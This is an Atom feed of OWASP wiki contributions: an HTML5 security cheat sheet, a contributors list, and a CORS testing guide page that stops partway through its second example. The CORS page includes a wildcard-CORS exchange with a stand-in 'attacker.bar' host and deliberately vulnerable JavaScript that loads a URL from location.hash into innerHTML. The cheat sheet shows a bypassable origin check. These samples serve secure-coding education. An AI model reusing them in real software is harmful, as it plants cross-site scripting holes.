<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jgaliana</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Jgaliana"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Jgaliana"/>
		<updated>2026-04-26T00:17:35Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=197861</id>
		<title>HTML5 Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=HTML5_Security_Cheat_Sheet&amp;diff=197861"/>
				<updated>2015-07-24T12:51:36Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: /* Authors and Primary Editors */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion. &lt;br /&gt;
&lt;br /&gt;
= Communication APIs =&lt;br /&gt;
&lt;br /&gt;
== Web Messaging ==&lt;br /&gt;
&lt;br /&gt;
Web Messaging (also known as Cross Domain Messaging) provides a means of messaging between documents from different origins in a way that is generally safer than the multiple hacks used in the past to accomplish this task. However, there are still some recommendations to keep in mind: &lt;br /&gt;
&lt;br /&gt;
* When posting a message, explicitly state the expected origin as the second argument to &amp;lt;tt&amp;gt;postMessage&amp;lt;/tt&amp;gt; rather than &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing.&lt;br /&gt;
* The receiving page should '''always''':&lt;br /&gt;
** Check the &amp;lt;tt&amp;gt;origin&amp;lt;/tt&amp;gt; attribute of the sender to verify the data is originating from the expected location.&lt;br /&gt;
** Perform input validation on the &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; attribute of the event to ensure that it's in the desired format.&lt;br /&gt;
* Don't assume you have control over the &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; attribute. A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in the sending page allows an attacker to send messages of any given format.&lt;br /&gt;
* Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via &amp;lt;tt&amp;gt;eval()&amp;lt;/tt&amp;gt;) or insert it to a page DOM (e.g. via &amp;lt;tt&amp;gt;innerHTML&amp;lt;/tt&amp;gt;), as that would create a DOM-based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].&lt;br /&gt;
* To assign the data value to an element, instead of using a insecure method like &amp;lt;tt&amp;gt;element.innerHTML = data;&amp;lt;/tt&amp;gt;, use the safer option: &amp;lt;tt&amp;gt;element.textContent = data;&amp;lt;/tt&amp;gt;&lt;br /&gt;
* Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: &amp;lt;tt&amp;gt; if(message.orgin.indexOf(&amp;quot;.owasp.org&amp;quot;)!=-1) { /* ... */ }&amp;lt;/tt&amp;gt; is very insecure and will not have the desired behavior as &amp;lt;tt&amp;gt;www.owasp.org.attacker.com&amp;lt;/tt&amp;gt; will match.&lt;br /&gt;
* If you need to embed external content/untrusted gadgets and allow user-controlled scripts (which is highly discouraged), consider using a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]].&lt;br /&gt;
&lt;br /&gt;
== Cross Origin Resource Sharing  ==&lt;br /&gt;
&lt;br /&gt;
* Validate URLs passed to &amp;lt;tt&amp;gt;XMLHttpRequest.open&amp;lt;/tt&amp;gt;. Current browsers allow these URLs to be cross domain; this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.&lt;br /&gt;
* Ensure that URLs responding with &amp;lt;tt&amp;gt;Access-Control-Allow-Origin: *&amp;lt;/tt&amp;gt; do not include any sensitive content or information that might aid attacker in further attacks. Use the &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain.&lt;br /&gt;
* Allow only selected, trusted domains in the &amp;lt;tt&amp;gt;Access-Control-Allow-Origin&amp;lt;/tt&amp;gt; header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; wildcard nor blindly return the &amp;lt;tt&amp;gt;Origin&amp;lt;/tt&amp;gt; header content without any checks).&lt;br /&gt;
* Keep in mind that CORS does not prevent the requested data from going to an unauthenticated location. It's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention. &lt;br /&gt;
* While the RFC recommends a pre-flight request with the &amp;lt;tt&amp;gt;OPTIONS&amp;lt;/tt&amp;gt; verb, current implementations might not perform this request, so it's important that &amp;quot;ordinary&amp;quot; (&amp;lt;tt&amp;gt;GET&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;POST&amp;lt;/tt&amp;gt;) requests perform any access control necessary.&lt;br /&gt;
* Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.&lt;br /&gt;
* Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
== WebSockets  ==&lt;br /&gt;
&lt;br /&gt;
* Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and older are outdated and insecure. &lt;br /&gt;
* The recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50, and IE10).&lt;br /&gt;
* While it's relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross Site Scripting attack. These services might also be called directly from a malicious page or program. &lt;br /&gt;
* The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.&lt;br /&gt;
* Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON, never use the insecure eval() function; use the safe option JSON.parse() instead.&lt;br /&gt;
* Endpoints exposed through the &amp;lt;tt&amp;gt;ws://&amp;lt;/tt&amp;gt; protocol are easily reversible to plain text. Only &amp;lt;tt&amp;gt;wss://&amp;lt;/tt&amp;gt; (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks.&lt;br /&gt;
* Spoofing the client is possible outside a browser, so the WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered. &lt;br /&gt;
* When implementing servers, check the &amp;lt;tt&amp;gt;Origin:&amp;lt;/tt&amp;gt; header in the Websockets handshake. Though it might be spoofed outside a browser, browsers always add the Origin of the page that initiated the Websockets connection.&lt;br /&gt;
* As a WebSockets client in a browser is accessible through JavaScript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross Site Scripting]]. Always validate data coming through a WebSockets connection.&lt;br /&gt;
&lt;br /&gt;
== Server-Sent Events ==&lt;br /&gt;
&lt;br /&gt;
* Validate URLs passed to the &amp;lt;tt&amp;gt;EventSource&amp;lt;/tt&amp;gt; constructor, even though only same-origin URLs are allowed.&lt;br /&gt;
* As mentioned before, process the messages (&amp;lt;tt&amp;gt;event.data&amp;lt;/tt&amp;gt;) as data and never evaluate the content as HTML or script code.&lt;br /&gt;
* Always check the origin attribute of the message (&amp;lt;tt&amp;gt;event.origin&amp;lt;/tt&amp;gt;) to ensure the message is coming from a trusted domain. Use a whitelist approach.&lt;br /&gt;
&lt;br /&gt;
= Storage APIs =&lt;br /&gt;
&lt;br /&gt;
== Local Storage ==&lt;br /&gt;
&lt;br /&gt;
*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.&lt;br /&gt;
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.&lt;br /&gt;
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.&lt;br /&gt;
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.&lt;br /&gt;
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the &amp;lt;tt&amp;gt;httpOnly&amp;lt;/tt&amp;gt; flag.&lt;br /&gt;
*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.&lt;br /&gt;
&lt;br /&gt;
== Client-side databases  ==&lt;br /&gt;
&lt;br /&gt;
* On November 2010, the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed, which provides key/value database storage and methods for performing advanced queries.&lt;br /&gt;
* Underlying storage mechanisms may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage. &lt;br /&gt;
* If utilized, WebDatabase content on the client side can be vulnerable to SQL injection and needs to have proper validation and parameterization.&lt;br /&gt;
* Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database as well. Don't consider data in these to be trusted.&lt;br /&gt;
&lt;br /&gt;
= Geolocation  =&lt;br /&gt;
&lt;br /&gt;
* The Geolocation RFC recommends that the user agent ask the user's permission before calculating location. Whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling &amp;lt;tt&amp;gt;getCurrentPosition&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;watchPosition&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
= Web Workers  =&lt;br /&gt;
&lt;br /&gt;
* Web Workers are allowed to use &amp;lt;tt&amp;gt;XMLHttpRequest&amp;lt;/tt&amp;gt; object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security. &lt;br /&gt;
* While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input. &lt;br /&gt;
* Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a&amp;amp;nbsp;[[DOM Based XSS|DOM Based XSS]]&amp;amp;nbsp;vulnerability.&lt;br /&gt;
&lt;br /&gt;
= Sandboxed frames  =&lt;br /&gt;
&lt;br /&gt;
* Use the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; for untrusted content.&lt;br /&gt;
* The &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute of an &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; enables restrictions on content within a &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt;. The following restrictions are active when the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute is set:&lt;br /&gt;
*# All markup is treated as being from a unique origin.&lt;br /&gt;
*# All forms and scripts are disabled.&lt;br /&gt;
*# All links are prevented from targeting other browsing contexts.&lt;br /&gt;
*# All features that triggers automatically are blocked.&lt;br /&gt;
*# All plugins are disabled.&lt;br /&gt;
&lt;br /&gt;
It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over &amp;lt;tt&amp;gt;iframe&amp;lt;/tt&amp;gt; capabilities using the value of the &amp;lt;tt&amp;gt;sandbox&amp;lt;/tt&amp;gt; attribute.&lt;br /&gt;
&lt;br /&gt;
* In old versions of user agents where this feature is not supported, this attribute will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.&lt;br /&gt;
* Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header &amp;lt;tt&amp;gt;X-Frame-Options&amp;lt;/tt&amp;gt; which supports the &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; values. Other solutions like framebusting &amp;lt;tt&amp;gt;if(window!== window.top) { window.top.location = location; }&amp;lt;/tt&amp;gt; are not recommended.&lt;br /&gt;
&lt;br /&gt;
= Offline Applications =&lt;br /&gt;
&lt;br /&gt;
* Whether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted varies from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any &amp;lt;tt&amp;gt;manifest&amp;lt;/tt&amp;gt; file.&lt;br /&gt;
* Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.&lt;br /&gt;
&lt;br /&gt;
= Progressive Enhancements and Graceful Degradation Risks  =&lt;br /&gt;
&lt;br /&gt;
* The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the &amp;amp;lt;video&amp;amp;gt; tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.&lt;br /&gt;
&lt;br /&gt;
= HTTP Headers to enhance security =&lt;br /&gt;
&lt;br /&gt;
== X-Frame-Options ==&lt;br /&gt;
&lt;br /&gt;
* This header can be used to prevent ClickJacking in modern browsers.&lt;br /&gt;
* Use the &amp;lt;tt&amp;gt;same-origin&amp;lt;/tt&amp;gt; attribute to allow being framed from urls of the same origin or &amp;lt;tt&amp;gt;deny&amp;lt;/tt&amp;gt; to block all. Example: &amp;lt;tt&amp;gt;X-Frame-Options: DENY&amp;lt;/tt&amp;gt;&lt;br /&gt;
* For more information on Clickjacking Defense please see the [[Clickjacking Defense Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== X-XSS-Protection ==&lt;br /&gt;
&lt;br /&gt;
* Enable XSS filter (only works for Reflected XSS).&lt;br /&gt;
* Example: &amp;lt;tt&amp;gt;X-XSS-Protection: 1; mode=block&amp;lt;/tt&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Strict Transport Security ==&lt;br /&gt;
&lt;br /&gt;
* Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks).&lt;br /&gt;
* Use includeSubDomains.&lt;br /&gt;
* Example: Strict-Transport-Security: max-age=8640000; includeSubDomains&lt;br /&gt;
&lt;br /&gt;
== Content Security Policy ==&lt;br /&gt;
&lt;br /&gt;
* Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting.&lt;br /&gt;
* Example:  X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com&lt;br /&gt;
&lt;br /&gt;
== Origin ==&lt;br /&gt;
&lt;br /&gt;
* Sent by CORS/WebSockets requests.&lt;br /&gt;
* There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! First        !! Last         !! Email&lt;br /&gt;
|-&lt;br /&gt;
| Mark         || Roxberry     || mark.roxberry [at] owasp.org&lt;br /&gt;
|-&lt;br /&gt;
| Krzysztof    || Kotowicz     || krzysztof [at] kotowicz.net&lt;br /&gt;
|-&lt;br /&gt;
| Will         || Stranathan   || will [at] cltnc.us&lt;br /&gt;
|-&lt;br /&gt;
| Shreeraj     || Shah         || shreeraj.shah [at] blueinfy.net&lt;br /&gt;
|-&lt;br /&gt;
| Juan         || Galiana Lara || jgaliana [at] owasp.org&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWTGv4_Contributors_list&amp;diff=165179</id>
		<title>OWTGv4 Contributors list</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWTGv4_Contributors_list&amp;diff=165179"/>
				<updated>2013-12-30T11:23:25Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Proposed Contributors team (DRAFT):'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Matteo Meucci&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Pavol Luptak&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Marco Morana&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Giorgio Fedon&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Stefano Di Paola&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Gianrico Ingrosso&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Giuseppe Bonfà&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Roberto Suggi Liverani&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Robert Smith&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Andrew Muller&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Robert Winkel&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; tripurari rai&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Thomas Ryan&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; tim bertels&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Cecil Su&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Aung KhAnt&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Norbert Szetei&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; michael.boman&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Wagner Elias&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Kevin Horvat&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Juan Galiana Lara&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Sumit Siddharth&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Mike Hryekewicz&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; psiinon&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Ray Schippers&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Raul Siles&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Jayanta Karmakar&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Brad Causey&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Vicente Aguilera&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Ismael Gonçalves&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; David Fern &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Tom Eston&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Kevin Horvath&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Rick.Mitchell&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Eduardo Castellanos &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Simone Onofri &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Harword Sheen &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Amro AlOlaqi&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Suhas Desai&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Ryan Dewhurst&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Zaki Akhmad &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Davide Danelon &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Alexander Antukh &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Proposed Reviewers team (DRAFT):'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Paolo Perego&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Daniel Cuthbert&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Matthew Churcher&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Lode Vanstechelman&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Sebastien Gioria&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;gt; Antonio Fontes&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164690</id>
		<title>Test Cross Origin Resource Sharing (OTG-CLIENT-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007)&amp;diff=164690"/>
				<updated>2013-12-15T19:19:16Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: minor change&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform &amp;quot;cross-domain&amp;quot; requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.&lt;br /&gt;
&lt;br /&gt;
Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.&lt;br /&gt;
&lt;br /&gt;
The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
=== Origin &amp;amp; Access-Control-Allow-Origin ===&lt;br /&gt;
&lt;br /&gt;
The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.&lt;br /&gt;
&lt;br /&gt;
Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.&lt;br /&gt;
&lt;br /&gt;
From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Method &amp;amp; Access-Control-Allow-Method ===&lt;br /&gt;
&lt;br /&gt;
The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Request-Headers &amp;amp; Access-Control-Allow-Headers ===&lt;br /&gt;
&lt;br /&gt;
These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.&lt;br /&gt;
&lt;br /&gt;
=== Access-Control-Allow-Credentials ===&lt;br /&gt;
&lt;br /&gt;
This header as part of a preflight request indicates that the final request can include user credentials.&lt;br /&gt;
&lt;br /&gt;
=== Input validation ===&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility.&lt;br /&gt;
This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection.&lt;br /&gt;
&lt;br /&gt;
Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.&lt;br /&gt;
&lt;br /&gt;
=== Other headers ===&lt;br /&gt;
&lt;br /&gt;
There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Blackbox testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Request (note the 'Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET http://attacker.bar/test.php HTTP/1.1&lt;br /&gt;
Host: attacker.bar&lt;br /&gt;
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0&lt;br /&gt;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Referer: http://example.foo/CORSexample1.html&lt;br /&gt;
Origin: http://example.foo&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Response (note the 'Access-Control-Allow-Origin' header:)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 07 Oct 2013 18:57:53 GMT&lt;br /&gt;
Server: Apache/2.2.22 (Debian)&lt;br /&gt;
X-Powered-By: PHP/5.4.4-14+deb7u3&lt;br /&gt;
Access-Control-Allow-Origin: *&lt;br /&gt;
Content-Length: 4&lt;br /&gt;
Keep-Alive: timeout=15, max=99&lt;br /&gt;
Connection: Keep-Alive&lt;br /&gt;
Content-Type: application/xml&lt;br /&gt;
&lt;br /&gt;
[Response Body]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Example 2: Input validation issue, XSS with CORS:'''&lt;br /&gt;
&lt;br /&gt;
This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vulnerable code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var req = new XMLHttpRequest();&lt;br /&gt;
&lt;br /&gt;
req.onreadystatechange = function() {&lt;br /&gt;
     if(req.readyState==4 &amp;amp;&amp;amp; req.status==200) {&lt;br /&gt;
          document.getElementById(&amp;quot;div1&amp;quot;).innerHTML=req.responseText;&lt;br /&gt;
     }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var resource = location.hash.substring(1);&lt;br /&gt;
